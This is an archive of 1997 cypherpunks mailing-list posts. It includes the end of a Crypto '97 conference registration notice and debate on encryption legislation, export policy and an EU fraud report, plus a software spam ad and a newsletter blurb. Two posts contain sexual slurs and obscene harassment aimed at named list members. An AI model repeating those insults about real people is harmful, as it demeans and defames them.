The social program will include hosted dinner receptions on Monday and
Tuesday nights, and a beach barbecue on Wednesday evening. Breakfasts
and lunches will be served at the university dining hall.

Conference Facilities: The workshop will be held on the campus of the
University of California, Santa Barbara.  The campus is located
adjacent to the Santa Barbara airport and the Pacific Ocean; free
shuttle bus service from the airport is available. Reasonably priced
accommodations are available in the university dormitories for
participants and their registered guests. Children under the age of 13
are not allowed to stay in the dormitories, so those bringing younger
children will need to make separate arrangements in one of the nearby
hotels (see Hotels, below). Parking on campus is available at no cost
to participants, but a permit must be requested on arrival. Smoking
inside campus buildings is prohibited. The food is good.

Registration: The conference is open to all interested parties, but
the number of attendees at the workshop is limited to 500;
pre-registration is strongly advised. To register, fill out the
accompanying registration form and return it to the address on the
form along with payment in full before 12 July 1997. Those bringing a
guest are also required to submit the guest registration form. Campus
accommodations will be available on a first come, first served basis
for attendees who register by 12 July 12 1997. Registrations received
after 12 July 1997 may be accepted if space is available but cannot be
guaranteed. The conference fee includes participation in the program
and all social functions, as well as membership in the IACR and a
subscription to the Journal of Cryptology. The room and board charges
include dormitory lodging Sunday night through Wednesday night, and
breakfast and lunch on Monday through Thursday. Technical sessions
will run from Monday morning to Thursday noon, with a free half day on
Tuesday afternoon.

A limited number of stipends are available to students unable to
obtain funding. Students are invited to apply if such assistance is
needed. Requests for stipends should be received by the General Chair
before 14 June 1997. Students registering for the conference need to
provide verification of their student status with a letter from their
Supervisor or Department Chair and a photocopy of their student ID
card. Preference will be given to students whose papers are accepted
and who will present the papers themselves

Cancellations received, in writing, by the General Chair by 15 July
1997 will be considered for a refund in full minus $75 for a copy of
the Proceedings and handling costs. No refunds will be made for
cancellations received after 15 July 1997, but a copy of the
conference Proceedings will be mailed to those registered but unable
to attend.

Travel Information: The campus is located approximately two miles from
the Santa Barbara airport, which is served by several airlines
including American, American West, Delta, United, and US Air.
Complimentary shuttle bus service will be provided between the Santa
Barbara airport and the campus on Sunday and Thursday afternoons. All
major rental car agencies are represented in Santa Barbara. AMTRAK
also has rail connections from both San Francisco and Los Angeles.
Santa Barbara is approximately 100 miles (160 km) north of the Los
Angeles airport and 350 miles (560 km) south of San Francisco.

Hotels: For those who choose not to stay in the dormitories, the
following is a partial list of hotels in the area. Those who choose to
stay off campus are responsible for making their own reservations, and
early reservations are advised since August is a popular season in
Santa Barbara. Note that Goleta is closer to UCSB than Santa Barbara
is to UCSB, but a car will probably be required to travel between any
hotel and the campus. All prices are subject to change: prices should
be confirmed by calling the hotels directly. However, mention Crypto
'97 at UCSB when you are making your reservations, since at several of
the hotels you will be eligible for the university rate, which can be
a significant savings. We are not able to book block rooms in these
hotels, so please make reservations as early as possible. The quality
of the hotels ranges from rather expensive beach-front resorts to
basic inexpensive accommodations. For further information, try
contacting the Santa Barbara Convention and Visitors Center, +1 805
966 9222, or see http://www.iacr.org.

South Coast Inn: 5620 Calle Real, Goleta, CA 93117. Single rate $89;
double rate $94. Contact Ms. Murrill Forrester at +1 805 967 3200.

Cathedral Oaks Lodge (formerly Turnpike Lodge): 4770 Calle Real, Santa
Barbara, CA, 93110. Single rates $75 and up; double rates $85 and up.
No university rates available. Prices include breakfast. Telephone +1
805 964 3511; fax +1 805 964 0075.

Motel 6: 5897 Calle Real, Goleta, CA 93117. Single rate $36.99; double
rate $42.99. Telephone +1 805 891 6161 or the national reservations
number.

The Sandman Inn: 3714 State Street, Santa Barbara, CA 93105. Rates
start at $79. Telephone: +1 805 687 2468; fax +1 805 687 6581.

Miramar Hotel (Beachfront): Three miles south of Santa Barbara on U.S.
101 at San Ysidro turnoff. No specific single or double rates. Rooms
begin at $75. Telephone +1 805 969 2203; fax +1 805 969 3163.

Pepper Tree Inn: 3850 State Street, Santa Barbara, CA 93105. Single
rate $114; double rate $124. Telephone +1 805 687 5511; fax +1 805 682
2410.

Encina Lodge: 2220 Bath Street, Santa Barbara, CA 93105. Single rate
$120; double rate $124. Telephone +1 805 682 7277; fax +1 805 563
9319.

Pacifica Suites: Located close to the campus (just down Ward Memorial
Blvd./Highway 217), 5500 Hollister Avenue, Santa Barbara, CA 93111.
Normal rates begin at $135 for a suite. Includes full cooked
breakfast. Telephone +1 805 683 6722; fax +1 805 683 4121.

Upham Hotel: This is a bed-and-breakfast in downtown Santa Barbara.
1404 De La Vina Road, Santa Barbara, CA 93101. Rates begin at $110.
(You must mention that you are attending the Crypto conference.)
Telephone +1 805 962 0058; fax +1 805 963 2825.

The El Encanto Hotel: This renovated hotel is located in the foothills
near downtown Santa Barbara. 1900 Lasuen Road, Santa Barbara, CA
93105. Rates begin at $140. Telephone +1 805 687 5000; fax +1 805 687
3903.



To register, print and mail the following form:

---------------------------------------------------------------------

		    	 CRYPTO '97 Registration Form
    	     Registration deadline: July 12, 1997

Last Name:  ________________________________________________________
First Name: ____________________________________ Sex: M or F _______
Affiliation: _______________________________________________________
Mailing Address: ___________________________________________________
____________________________________________________________________
____________________________________________________________________
Phone: ___________________________ Fax: ____________________________
Electronic Mail: ___________________________________________________
___ Check here if you wish to have your name and address excluded from
the list of delegates.

Payment of the conference fee entitles you to membership in the
International Association for Cryptologic Research for 1998 at no
extra charge, including a subscription to the Journal of Cryptology,
published by Springer-Verlag, at no extra charge.  Do you wish to be
an IACR member?	___ YES    ___ NO

___ Check here if you with to have your name and address excluded from
the IACR membership listing.

Conference Registration Fee (check first line that applies):

				Paid by July 12    After July 12
___ Full-Time Student           $211       		  $291

___ Attended Eurocrypt '97      $350       		  $430
___ Regular Registration        $422       		  $502	$ _________

___ Guest Attendance (social program only)  $60
    Guest's Name________________________     			$ _________

Room Sunday to Thursday (non-smoking) with breakfast and lunch Monday
through Thursday ___ Single room $290  ___ Double room $230
    Roommate's name: _____________________    			$ _________

Extra nights at $70 single, $55 double, per person, per night
___ Saturday night  $ _____
___ Thursday night  $ _____                   			$ _________

TOTAL ENCLOSED OR PAID BY CREDIT CARD:        			$ _________

Enclosed payments must be in U.S. funds: by check drawn on a U.S.
bank, by U.S. money order, or by U.S. bank draft, payable to CRYPTO
'97.

Credit card payments are accepted by either mail or fax.
Check one: __ VISA       ___ MasterCard     ___ American Express
Name on card: ___________________________________________
Card number:  ___________________________ Expires: ______
Cardholder's signature: _________________________________

Send forms and enclosed payments to:	  For more information:
Bruce Schneier, Crypto '97		  Email: crypto97 at iacr.org
Counterpane Systems			  WWW: http://www.iacr.org
101 E Minnehaha Parkway			  Phone: +1 612 823 1998
Minneapolis, MN  55419   USA		  Fax: +1 612 823 1590

**************************************************************************
* Bruce Schneier                 For information on APPLIED CRYPTOGRAPHY
* Counterpane Systems            2nd EDITION (15% discount and errata),
* schneier at counterpane.com       Counterpane Systems's consulting services,
* http://www.counterpane.com/    or the Blowfish algorithm, see my website.
**************************************************************************







From gsmith at ultragrafix.com  Fri Apr 25 08:02:37 1997
From: gsmith at ultragrafix.com (gsmith at ultragrafix.com)
Date: Fri, 25 Apr 1997 08:02:37 -0700 (PDT)
Subject: Save 50% on Office Pro 97 & 40% on NT 4.0  !!!
Message-ID: <>


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From gsmith at ultragrafix.com  Fri Apr 25 08:02:37 1997
From: gsmith at ultragrafix.com (gsmith at ultragrafix.com)
Date: Fri, 25 Apr 1997 08:02:37 -0700 (PDT)
Subject: Save 50% on Office Pro 97 & 40% on NT 4.0  !!!
Message-ID: <>


Special #1 - Save over 50% on Microsoft Office Professional 97 (FULL Version)

These are brand new Full Versions that we are selling for $285.00 (USD)  
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Microsoft Outlook. Common to these Office 97 applications is the
integration of new Internet technologies. 

Please call us at (817) 557-4945 for product availability and 
to order by all major credit cards.

Please stop by our web site at http://www.globaltech2000.com
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Shipping is $20.00 (USD)for Canada, Great Britain, Australia
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to order by all major credit cards.

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for other great software deals!


*******************************************************************
Please Note - All remove requests will be honored and enforced
by our postmaster. If you'd rather not receive offers for large
discounts on software in the future (usually about 1 per month) 
simply send an email to remove at ultragrafix.com and you will 
automatically deleted from any future mailings.  
                          Thank You
*******************************************************************






From dlv at bwalk.dm.com  Fri Apr 25 08:26:38 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 25 Apr 1997 08:26:38 -0700 (PDT)
Subject: Cato forum on liquor advertising and electronic media
In-Reply-To: 
Message-ID: <1JZP6D4w165w@bwalk.dm.com>


Tim May  writes:
> Obviously we libertarians fully agree with this. No advertising should ever
> be banned....to ban or restict any advertising, no matter how worthless or
> despicable the product, is clearly a violation of basic constitutional
> protections of free speech.

Isn't it ironic when people who support Cocksucker John Gilmore and C2Net
call themselves "we libertarians"?
> 
> (Note that the orginal grounds for restricting cigarette advertising on
> television and radio were on shaky grounds that the airwaves were a kind of
> monopoly have now been augmented by laws restricing advertising "too close"
> to schools and other places and other such restrictions. Including crap
> about requiring warnings about cigarettes and alcohol, even in
> non-broadcast advertisements! By this precedent, can it be long before
> political writings are required to carry extensive warnings? The First
> Amendment has become a joke.)

Cigarette advertizing is what created TV in the U.S.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From real at freenet.edmonton.ab.ca  Fri Apr 25 08:59:58 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Fri, 25 Apr 1997 08:59:58 -0700 (PDT)
Subject: [CRYPTO] e$
In-Reply-To: <199704250614.IAA15275@basement.replay.com>
Message-ID: 



I think Vulis needs each of us to send ten copies of this back to him.


On Fri, 25 Apr 1997, Anonymous wrote:

> Now is the time for all good little boys to 
> cum in Tim May's big mouth.
> 
>            \|/
>            @ @
>       -oOO-(_)-OOo- Tim May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From jya at pipeline.com  Fri Apr 25 10:01:54 1997
From: jya at pipeline.com (John Young)
Date: Fri, 25 Apr 1997 10:01:54 -0700 (PDT)
Subject: Fraud Without Frontiers
Message-ID: <1.5.4.32.19970425170010.0086e8c4@pop.pipeline.com>


FT reports on a new Deloitte & Touche report, "Fraud 
Without Frontiers" on the EU "fraud paradise." It sees 
10 areas of concern:

  "Computer abuse, banking frauds, counterfeiting,
  investment fraud, confidence tricks, public sector
  fraud, fraudulent bankruptcy, insurance fraud,
  smuggling and money laundering.

  The largest single threat comes from fraud through the
  Internet. The potential for abuse of computer systems
  is huge, particuarly since encryption technology is
  vulnerable to sophisticated computer users. The Internet
  is now being used to manipulate financial markets.

  Fraudsters are becoming more sophisticated. Inside dealers
  are making more use of offshore havens to avoid detection
  while criminal syndicates with knowlege of banking
  practice have cheated banks.

  'Offshore havens', some inside the EU, remains a common
  feature of fraud. But with some EU economies closely
  linked to the offshore world, the incentive to push for
  reform in this area is limited"

The report is available from D&T-UK for L95. (Hint, send)

  http://www.deloitte-touche-consulting.co.uk/main.html

-----

D&T has a Web page, "Taking the Mystery Out of ..." which
gives solace about encryption, passwords, firewalls, 
kerberos, and such:

  http://www.dttus.com/dttus/publish/mystery/mystery1.htm







From rah at shipwright.com  Fri Apr 25 11:12:39 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 25 Apr 1997 11:12:39 -0700 (PDT)
Subject: Deloitte-Touche: Fraud and the Net
Message-ID: 



--- begin forwarded text


X-Sender: oldbear at pop.tiac.net
Date: Thu, 24 Apr 1997 19:06:41 -0400
To: Digital Commerce Society of Boston 
From: The Old Bear 
Subject: Deloitte-Touche: Fraud and the Net
Mime-Version: 1.0
Sender: bounce-dcsb at ai.mit.edu
Precedence: bulk
Reply-To: The Old Bear 

FRAUD AND THE NET

A Deloitte & Touche report commissioned by the European Union
says that cross-border fraud involving Internet abuse, banking
and investment frauds, and smuggling is costing society
$77 billion a year.  The report suggests that perhaps the
largest single threat comes from fraud through the Internet,
because encryption technology remains vulnerable to
sophisticated computer vandals.

source: Financial Times
        April 24, 1997


Anyone have a pointer to the full report or a more detailed
abstract?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo at ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
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--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"...Wells Fargo's on-line banking sucks dead gerbils
through a dirty garden hose." -- Eric Murray
The e$ Home Page: http://www.shipwright.com/








From hua at chromatic.com  Fri Apr 25 11:14:01 1997
From: hua at chromatic.com (Ernest Hua)
Date: Fri, 25 Apr 1997 11:14:01 -0700 (PDT)
Subject: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: 
Message-ID: <199704251813.LAA18728@server1.chromatic.com>



> Date: Thu, 24 Apr 1997 18:17:09 -0400
> To: fight-censorship-announce at vorlon.mit.edu
> From: Declan McCullagh 
> Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup

> It also creates new criminal penalties for using encryption to
> further a criminal act ...  Remember that Maryland bill that would
> criminalize sending "annoying" or "harassing" email? If the
> Goodlatte bill became law, Marylanders who signed their messages
> with PGP or telnetted to local ISPs could be slammed with an
> all-expenses-paid trip to the Federal pen for five years ...  In
> other words, SAFE would turn state misdemeanors into Federal
> felonies.  This is not good.

Ok.  So it's kind of bad in this respect, but let's face it ... we
can't have everything OUR way, the FIRST time around.  Washington
politics is just not that way (not that you need such a reminder).

> A coalition of groups is sending a letter to Goodlatte tomorrow supporting
> the bill but expressing concern over the criminalization provision.
> Interested in signing on? Email David Sobel: sobel at epic.org.

Let's let the legislative process (whatever you think of it) take its
course.  I'll be happy even if they sneak some screwy secret committee
on the final bill, as long as we are not subject to that committee or
any other governmental body just because we allow ftp of C source code
by our off-shore friends.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua at chromatic.com







From jya at pipeline.com  Fri Apr 25 13:01:00 1997
From: jya at pipeline.com (John Young)
Date: Fri, 25 Apr 1997 13:01:00 -0700 (PDT)
Subject: Tim's Tag Bi-Line
Message-ID: <1.5.4.32.19970425195754.008a4fe8@pop.pipeline.com>


>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.

----------

In response to Tim's tag line and to BXA's claim (twinned
by NSA, FBI, CIA and DoJ) of training Janus crypto-narcs to
snare dual-use miscreants:

http://guru.cosc.georgetown.edu/~denning/cosc511/

Information Warfare: Terrorism, Crime, and National Security

Prof. Dorothy E. Denning

This course will study the nature of information warfare, 
including computer crime and information terrorism, in 
the global information infrastructure as it relates to 
national security, defense policy, economic security, 
organizational security, and personal security. Students 
will gain an understanding of the threats and vulnerabilities, 
including military and economic espionage, denial of service, 
destruction and modification of data, distortion and 
fabrication of information, forgery, control and disruption 
of information flow, electronic bombs, and psyops and 
perception management. They will learn about attacks and 
countermeasures, including authentication, encryption, 
auditing, monitoring, and firewalls, and the limitations 
of those countermeasures. They will learn about cyberspace 
law enforcement and investigations, information warfare and 
the military, and intelligence in the information age. 
Information technology policy and ethics will be examined.

-----

This is not to single out the duality of Professor Denning/Mr. 
Denning. There are several similar dual-use courses being 
taught at civ-mi schools as market-wise institutions-governments
scramble for funds-taxes by promising results to job-needy
scientists-engineers and students-citizens.

Heed the dual-use market/cartel, be an infoartist/informer, an 
inside-lawyer/outlaw; practice selfless public archy, greedy secret
anarchy. That's the ticket for wise guys-gals, go either way as the 
bi-wind blows and stills.







From stewarts at ix.netcom.com  Fri Apr 25 14:27:07 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 25 Apr 1997 14:27:07 -0700 (PDT)
Subject: Cato forum on liquor advertising and electronic media
In-Reply-To: 
Message-ID: <3.0.1.32.19970425112019.0063ddd8@popd.ix.netcom.com>

At 04:33 PM 4/24/97 -0700, Declan McCullagh wrote:
>The Center for Media Education is trying to accelerate this process. In a
>fearmongering report earlier this year, the group demanded that a slew of
>government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO -- take
>"urgent agction" to "protect" America's children from tobacco and liquor
>advertising online.

Sigh.  Guess we'll have to do another information-logo-on-web-page campaign.
The real question is whether we should be in-your-face about it
and use a Joe Camel icon for the "Fight Commercial Censorship" campaign,
or something civilized like the many beer and wine company logos on the net.
"Fight censorship on the net - have a Beer!"  Would Mr. Butts be available?

Meanwhile, back on Television, the "We know what's best for you"
program ratings are getting panned by everyone.  I almost wonder if the
TV moguls decided to do a deliberately unsatisfactory rating system
rather that giving the censorship people the amount of control they want?
The proposed "sex/violence/language" ratings left out an important category
many parents would like in deciding what their kids can watch -- "Greed".  
And neither the proposed nor the enacted systems rates commercials....
So you won't be able to set that V-Chip to auto-block commercials.
PYRBBROW.GIF



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)
-------------- next part --------------
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From tcmay at got.net  Fri Apr 25 17:00:07 1997
From: tcmay at got.net (Tim May)
Date: Fri, 25 Apr 1997 17:00:07 -0700 (PDT)
Subject: Cato forum on liquor advertising and electronic media
In-Reply-To: 
Message-ID: 


At 10:20 AM -0800 4/25/97, Bill Stewart wrote:

>Meanwhile, back on Television, the "We know what's best for you"
>program ratings are getting panned by everyone.  I almost wonder if the
>TV moguls decided to do a deliberately unsatisfactory rating system
>rather that giving the censorship people the amount of control they want?

Ah, but the likelihood is now greater that even more restrictive ratings
and censorship will be imposed. After all, when have you known statists to
back off simply because a policy doesn't work as promised?

>The proposed "sex/violence/language" ratings left out an important category
>many parents would like in deciding what their kids can watch -- "Greed".
>And neither the proposed nor the enacted systems rates commercials....
>So you won't be able to set that V-Chip to auto-block commercials.
>Attachment converted: APS 1GB Fireball:PYRBBROW.GIF (GIFf/JVWR) (0000F3F7)
 ^^^^^^^^^^^^^^^^^^^^^

I know I sound like a broken record, but these "attachments" are getting
out of hand. I periodically look at my attachments folder and find several
dozen or more various attached files...GIFs I'll never look at, Postscript
versions of postings to the list, binaries of programs for platforms I
can't possibly use, and even .WAV sound files. Arrgghhh!

(This GIF I opened...it appears to be a beer bottle with a star hanging
around the neck. Self-ratings of beer?)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Fri Apr 25 17:34:16 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 25 Apr 1997 17:34:16 -0700 (PDT)
Subject: Deloitte-Touche: Fraud and the Net
In-Reply-To: 
Message-ID: 


At 1:39 PM -0400 4/25/97, Robert Hettinga wrote, quoting a forwarded article:
>Anyone have a pointer to the full report or a more detailed
>abstract?

I'd be happy to contribute towards the cost if someone else wants to take
up a collection and buy the report. (If it goes online, as I assume it
will, is this an example of a cypherpunkish "public good?")

Or I can try to call up and get 'em to send me a copy as a journalist.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From jya at pipeline.com  Fri Apr 25 17:41:27 1997
From: jya at pipeline.com (John Young)
Date: Fri, 25 Apr 1997 17:41:27 -0700 (PDT)
Subject: Deloitte-Touche: Fraud and the Net
Message-ID: <1.5.4.32.19970426003951.00836a64@pop.pipeline.com>


Declan wrote:
>I'd be happy to contribute towards the cost if someone else wants to take
>up a collection and buy the report. (If it goes online, as I assume it
>will, is this an example of a cypherpunkish "public good?")
>
>Or I can try to call up and get 'em to send me a copy as a journalist.

----------

Praps a local bloke can help us out:

The source is given as the D&T office in London: 

http://www.deloitte-touche-consulting.co.uk/about-us.html

Deloitte & Touche Consulting Group,
                          Stonecutter Court,
                          Stonecutter Street,
                          London EC4A 4TR.
                          Tel: 0171 303 3000

Sure, I'll buy it and pay for Fedex too; got my Amex and FX
numbers ready.

John

----------

   Financial Times, April 24, 1997, p. 3.


   EU fraudsters 'revel in fiscal paradise'

      Report urges Brussels authorities to crack down on $77bn
      cross-border corruption

   By John Mason in Brussels


   International fraud in the European Union could be costing
   governments, companies and individuals up to $77bn a year,
   a report commissioned by the European Commission has
   concluded.

   Crimes such as Internet abuse, counterfeiting, banking and
   investment frauds and smuggling pose an increasing threat
   which can only be countered by further international
   action, said Deloitte & Touche, the accountancy firm.

   Harmonisation of laws and regulations, improved
   co-operation between states and a greater stress on fraud
   prevention are needed if EU economies are not to be
   undermined by international criminals, the report said.

   Mr Will Inglis, the Deliotte & Touche partner responsible
   for the report, said: "There is clear evidence that
   determined fraudsters deliberately and cynical]y manipulate
   and take advantage of the different regulatory and
   monitoring regimes across the EU to perpetrate their
   frauds. In particular, we see the fraudsters taking
   advantage of havens of secrecy and fiscal paradises.
   Fraudulent activity in the Union has the potential to
   seriously distort competition and harm the citizens of the
   EU who end up paying the cost."

   The report identified 10 areas of concern: computer abuse,
   banking frauds, counterfeiting, investment fraud,
   confidence tricks, public sector fraud, fraudulent
   bankruptcy, insurance fraud, smuggling and money
   laundering.

   The type of crime varies considerably between countries. In
   the UK, financial services fraud is a problem because of
   the size of the industry, France suffers particularly from
   counterfeiting of luxury goods, while in Greece the
   smuggling of antiquities is second only to the drugs trade
   in terms of crime.

   However, across the EU, the removal of restrictions
   following the creation of the single market and
   technological advances have opened up opportunities for
   fraudsters, the report said.

   Perhaps the largest single threat comes from fraud through
   the Internet, Mr Inglis said. The potential for abuse of
   computer systems is huge, particularly since encryption
   technology is vulnerable to sophisticated computer abusers.
   The Internet is now also being used to manipulate financial
   markets.

   In other areas, fraudsters are becoming more sophisticated.
   Insider dealers are making more use of offshore havens to
   avoid detection while criminal syndicates with knowledge of
   banking practice have cheated banks.

   Not that frauds all need to be sophisticated. Italian
   investigators discovered that Libyan dinars were being
   taken to Naples to be literally "laundered" with a solvent
   and re-printed as D-Marks.

   The incidence of cross-border frauds is increasing faster
   than those which take place only within one country, with
   organised crime playing a substantial role, the report
   said. Other perpetrators of fraud, although on a lesser
   scale, include senior company managers.

   The report points to lack of legal harmonisation: In some
   EU states it is not even an offence to bribe somebody in a
   different country.

   Action against fraud can also damage a member state's
   economy. The use of "offshore" havens, some inside the EU,
   remains a common feature of fraud. But with some EU
   economies closely linked to the offshore world, the
   incentive to push for reform in this area is limited.

   Fraud, especially crossborder fraud, tends also to be given
   low priority compared to other crimes. There is also less
   political will to tackle money laundering when this
   involves fraud rather than drugs.

   The report concludes there are four priority areas - 
   increased legal harmonisation, improved co-operation
   between member states, a greater concentration on
   confiscating fraudsters' assets and developing awareness of
   fraud prevention.

   [Bar chart] Corporate Fraud. Countries involved, with two
   bars for each showing: Number of cases involving each
   region and number of times countries in this region were
   mentioned as being of concern.

   EU countries
   Tax havens/fiscal paradises
   Eastern European countries
   Others (including US and Asia)

   --

   "Fraud without Frontiers", L95, Deloitte & Touche, 1,
   Stonecutter St, London EC4A 4TR.

   [End]









From nobody at faust.guardian.co.uk  Fri Apr 25 18:27:04 1997
From: nobody at faust.guardian.co.uk (Shift Control)
Date: Fri, 25 Apr 1997 18:27:04 -0700 (PDT)
Subject: Alternative Reality
Message-ID: <199704251130.MAA15499@faust.guardian.co.uk>


Introducing... the Alternative Reality Issue of Shift Control.

This week:

"Inject it a number of times over a period of several hours and you will 
experience what psychology textbooks refer to as an "out-of-body experience". 
This is a recurrent theme in descriptions of the ketamine experience - the 
mind, spirit or soul leaving the body... Ketamine has similar mental effects 
on some animals - especially monkeys, who have been observed trying to swot 
non-existent flies while under its influence." - Alex Bellos on ecstasy's 
latest rival

"Only sleep, books and disk storage mechanisms, with computers becoming our 
third lobe, allow us to cope with a world of accelerating travel and electronic 
communication. But these extensions to the human brain capacity will ultimately 
become inadequate, and so we might consider something new: the prospect of an 
implanted third lobe." - Peter Cochrane on building alternative human realities 
through technology

"'Bud Hopkins, psychiatrist and expert on alien abductions' - just the man's 
name got me salivating. My brain whirred with associations. Bud equals Yank, 
Yank equals alien, alien equals cool... 'Did you see that bit in episode 27 
when you could see Scully's cleavage as she e-mailed Mulder?' a voice whispered 
near to me. It was clear that experts in alien abduction were not to be messed 
with." - Leo Hickman on the fourth annual UnConvention of paranormal phenomena

Also this week: a squeaky clean way to play with yourself in the bath, a chance 
to write your own film reviews, more memoirs from Freebee the bee, �200 up for 
grabs in another short story competition, and a chance to win dinner for two at 
your favourite curry house.

Shift Control: altering your perceptions of the net and waiting for you now at 
http://www.shiftcontrol.com

--------------------------------
Shift Control is produced by the Guardian's New Media Lab with help from 
Boddingtons and Stella Artois Dry.

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request at nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe






From jimbell at pacifier.com  Fri Apr 25 18:54:22 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Fri, 25 Apr 1997 18:54:22 -0700 (PDT)
Subject: Crypto moves forward: Commerce Dept panel and SAFE markup
Message-ID: <199704260154.SAA14871@mail.pacifier.com>


At 11:13 4/25/97 -0700, Ernest Hua wrote:
>> Date: Thu, 24 Apr 1997 18:17:09 -0400
>> To: fight-censorship-announce at vorlon.mit.edu
>> From: Declan McCullagh 
>> Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup
>
>> It also creates new criminal penalties for using encryption to
>> further a criminal act ...  Remember that Maryland bill that would
>> criminalize sending "annoying" or "harassing" email? If the
>> Goodlatte bill became law, Marylanders who signed their messages
>> with PGP or telnetted to local ISPs could be slammed with an
>> all-expenses-paid trip to the Federal pen for five years ...  In
>> other words, SAFE would turn state misdemeanors into Federal
>> felonies.  This is not good.
>
>Ok.  So it's kind of bad in this respect, but let's face it ... we
>can't have everything OUR way, the FIRST time around.  Washington
>politics is just not that way (not that you need such a reminder).

I think you misunderstand the situation.  The government is in somewhat of a
disadvantage by virtue of the fact that there is relatively little
pro-censorship and anti-encryption legislation.  Absent such legislation,
the status-quo moves in a relatively free fashion, which is why the Internet
is mostly unregulated today.   


>> A coalition of groups is sending a letter to Goodlatte tomorrow supporting
>> the bill but expressing concern over the criminalization provision.
>> Interested in signing on? Email David Sobel: sobel at epic.org.
>
>Let's let the legislative process (whatever you think of it) take its
>course.  

That's precisely what they want us to allow, and that's exactly why we
shouldn't accept it.  As Tim May has repeatedly pointed out, we are probably
better off with NO legislation than bad legislation, and all we've been
offerred so far this year is bad legislation.




Jim Bell
jimbell at pacifier.com






From jimbell at pacifier.com  Fri Apr 25 19:55:12 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Fri, 25 Apr 1997 19:55:12 -0700 (PDT)
Subject: New Crypto Panel
Message-ID: <199704260255.TAA00656@mail.pacifier.com>


At 12:34 4/24/97 -0400, John Young wrote:
>Federal Register, April 24, 1997:
>
>DEPARTMENT OF COMMERCE
>
>President's Export Council Subcommittee on Encryption; 
>Notice of Establishment
>
>    The Secretary of Commerce has determined that the 
>establishment of the President's Export Council
>Subcommittee on Encryption is in the public interest in 
>connection with the performance of duties imposed on the 
>Department by law.
>
>    The Subcommittee will advise the Secretary, through the 
>Assistant Secretary for Export Administration, on
>matters pertinent to the implementation of an encryption 
>policy that will support the growth of commerce while 
>protecting the public safety and national security.
>
>    The Subcommittee will consist of approximately 25 members 
>to be appointed by the Secretary to assure a balanced 
>representation among the exporting community and those 
>Government agencies with a mandate to implement policy 
>regarding encryption.

Notice how the not-so-subtle biases sneak in.  "Balanced representation"?
What about the representation of the citizenry of this country?

And identifying something called "the exporting community" is also biased:
Implicitly, it means those firms which _do_ export crypto, which by
definition means those companies which are COMPLYING with the current crypto
export rules.  Naturally, that is a biased segment of the total potential
membership of that group, and will tend to skew the product of that group to
reinforcing the status quo as defined by government.


Jim Bell
jimbell at pacifier.com






From declan at well.com  Fri Apr 25 20:01:04 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 25 Apr 1997 20:01:04 -0700 (PDT)
Subject: CEI tells the Federal Trade Commission to be wary of regulation
Message-ID: 


[I'll forward some followup comments with the same Subject: line.
--Declan]

---------- Forwarded message ----------
Date: Fri, 25 Apr 1997 19:30:35 -0400
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: FC: CEI tells the Federal Trade Commission to be wary of regulation

Julie DeFalco from the Competitive Enterprise Institute, a libertarian
think tank here in DC, today sent me what her organization filed with the
FTC earlier this month. Below CEI urges the FTC to be "extremely cautious
in regulating the free flow of consumer information" online. The FTC will
revisit the issue of online privacy regulations this June. Some excerpts
from CEI's filing:

	Despite plenty of speculation, there has
	been no demonstration of significant
	actual harm resulting from the commercial
	collection of personal data over the
	Internet. This is not to say that all data
	posted on the Internet are good.  Quite
	the contrary.  For example, the government
	has made it difficult, if not impossible,
	to live in America today without a social
	security number. Congress has mandated
	that all states use social security
	numbers as driver identification numbers.
